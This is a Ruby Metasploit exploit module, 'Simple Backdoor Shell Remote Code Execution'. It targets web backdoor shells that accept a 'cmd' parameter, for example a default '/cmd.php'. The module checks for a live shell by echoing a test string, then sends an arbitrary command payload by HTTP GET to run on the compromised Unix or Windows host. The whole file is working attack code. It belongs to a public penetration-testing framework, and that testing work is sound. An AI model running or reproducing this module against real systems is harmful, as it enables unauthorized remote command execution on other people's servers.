simple_backdoors_exec.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Simple Backdoor Shell Remote Code Execution',
      'Description'    => %q{
          This module exploits unauthenticated simple web backdoor shells by leveraging the
        common backdoor shell's CMD parameter  to execute commands. The SecLists project of
        Daniel Miessler and Jason Haddix has a lot of samples for this kind of backdoor shells
        which is categorized under Payloads.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jay Turla <@shipcod3>',
        ],
      'References'     =>
        [
          [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ],
          [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => %w{ unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['backdoor / Unix', { 'Platform' => 'unix' } ],
          ['backdoor / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Sep 08 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The path of a backdoor shell", "/cmd.php"]),
      ],self.class)
  end

  def check
    test = "echo me"
    shell = send_request_cgi({
      'method'  => 'POST',
      'uri'             => normalize_uri(target_uri.path.to_s),
      'vars_post'       =>
        {
          'cmd' => test
        }
    })
    if (shell and shell.body =~ /echo me/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'cmd' => cmd
      }
    })
    if not (res and res.code == 200)
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end
end